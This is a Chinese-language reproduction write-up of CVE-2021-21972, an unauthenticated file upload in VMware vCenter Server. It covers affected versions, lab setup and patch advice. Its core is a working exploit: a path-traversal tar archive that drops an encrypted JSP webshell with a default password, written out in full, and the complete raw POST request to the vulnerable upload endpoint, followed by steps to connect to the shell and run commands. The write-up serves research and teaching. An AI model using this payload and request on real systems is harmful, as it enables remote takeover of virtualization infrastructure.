Vmware vcenter未授權任意文件上傳(CVE-2021-21972)復現



 
Vmware vcenter未授權任意文件上傳
(CVE-2021-21972 )
 
一、漏洞簡介
 
VMware是一家雲基礎架構和移動商務解決方案廠商,提供基於VMware的虛擬化解決方案。
高危嚴重漏洞:
在 CVE-2021-21972 VMware vCenter Server 遠程代碼漏洞 中,攻擊者可直接通過443端口構造惡意請求,執行任意代碼,控制vCenter。
漏洞為任意文件上傳:
存在問題的接口為
/ui/vropspluginui/rest/services/uploadova,
完整路徑
(https://ip:port/ui/vropspluginui/rest/services/uploadova)
 
二、影響版本
VMware vCenter Server 7.0系列 < 7.0.U1c
VMware vCenter Server 6.7系列 < 6.7.U3l
VMware vCenter Server 6.5系列 < 6.5 U3n
VMware ESXi 7.0系列 < ESXi70U1c-17325551
VMware ESXi 6.7系列 < ESXi670-202102401-SG
VMware ESXi 6.5系列 < ESXi650-202102101-SG
 
三、環境准備&漏洞復現
安裝EXSI 7.0.0 ​ VMware vSphere虛擬機監控程序(ESXi) 鏈接:https://cld16.irans3.com/dlir-s3/VMware-VMvisor-Installer-7.0.0-15843807.x86_64.iso VMware-VMvisor-Installer-7.0.0-15843807.x86_64.iso檔案大小:350 MB MD5:220d2e87290f50c3508214cadf66b737 SHA1:7fda0401ee1b2f49aae89043f9b2d509cf7e25db 安裝:https://blog.51cto.com/10802692/2409826 ​ 下載 vCenter Server ​ VMware vCenter Server 鏈接:https://cld5.irans3.com/dlir-s3/VMware-VCSA-all-7.0.0-15952498.iso VMware-VCSA-all-7.0.0-15952498.iso檔案大小:6.42 GB MD5:94bb30ae83cd5f12e2eecce114d43007 SHA1:17aa2b1ee20e977fb4f8f8391563f57c3e456361 安裝:https://blog.csdn.net/qq_38028248/article/details/107712839 (環境安裝參考來源:作者: print("")師傅環境部署)
midi.tar(后台回復:"vmware")獲取
 
../../usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/42/0/h5ngc.war/resources/0000755000000000000000000000000014015431210027145 5ustar rootroot../../usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/42/0/h5ngc.war/resources/shell.jsp0000644000000000000000000000117114015430711030777 0ustar rootroot<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*該密鑰為連接密碼32位md5值的前16位,默認連接密碼rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}/*1kdnwbry2LyI7pyA*/%>
https://ip:port/ui/vropspluginui/rest/services/uploadova
Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
 
 
 
返回sucess證明上傳tar成功
訪問shell地址:
 
 
連接木馬shell:
 
 
相關命令執行:
 
 
具體細節上傳點:包
POST /ui/vropspluginui/rest/services/uploadova HTTP/1.1 Host: 127.0.0.1 Connection: close Accept: application/json Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH8GoragzRFVTw1VD Content-Length: 10425 ​ ------WebKitFormBoundaryH8GoragzRFVTw1VD Content-Disposition: form-data; name="uploadFile"; filename="thelostworld.tar" Content-Type: text/plain ​ ../../usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/42/0/h5ngc.war/resources/0000755000000000000000000000000014015431210027145 5ustar rootroot../../usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/42/0/h5ngc.war/resources/shell.jsp0000644000000000000000000000117114015430711030777 0ustar rootroot<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*該密鑰為連接密碼32位md5值的前16位,默認連接密碼rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}/*1kdnwbry2LyI7pyA*/%>
 
 
四、安全建議
 
1、升級VMware vCenter Server 與 VMware ESXi 至最新版本。
2、針對 CVE-2021-21972 VMware vCenter Server 遠程代碼漏洞 與 CVE-2021-21973 VMware vCenter Server SSRF漏洞,可按照 https://kb.vmware.com/s/article/82374 相關措施進行緩解。
3、針對 CVE-2021-21974 VMware ESXI 堆溢出漏洞,可按照 https://kb.vmware.com/s/article/76372 相關措施進行緩解。
 
參考:
 
 
 
免責聲明:本站提供安全工具、程序(方法)可能帶有攻擊性,僅供安全研究與教學之用,風險自負!
轉載聲明:著作權歸作者所有。商業轉載請聯系作者獲得授權,非商業轉載請注明出處。
 
訂閱查看更多復現文章、學習筆記
thelostworld
安全路上,與你並肩前行!!!!
 
 
語雀博客主頁:https://www.yuque.com/thelostworld
 
 
歡迎添加本公眾號作者微信交流,添加時備注一下“公眾號”
 
 
 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM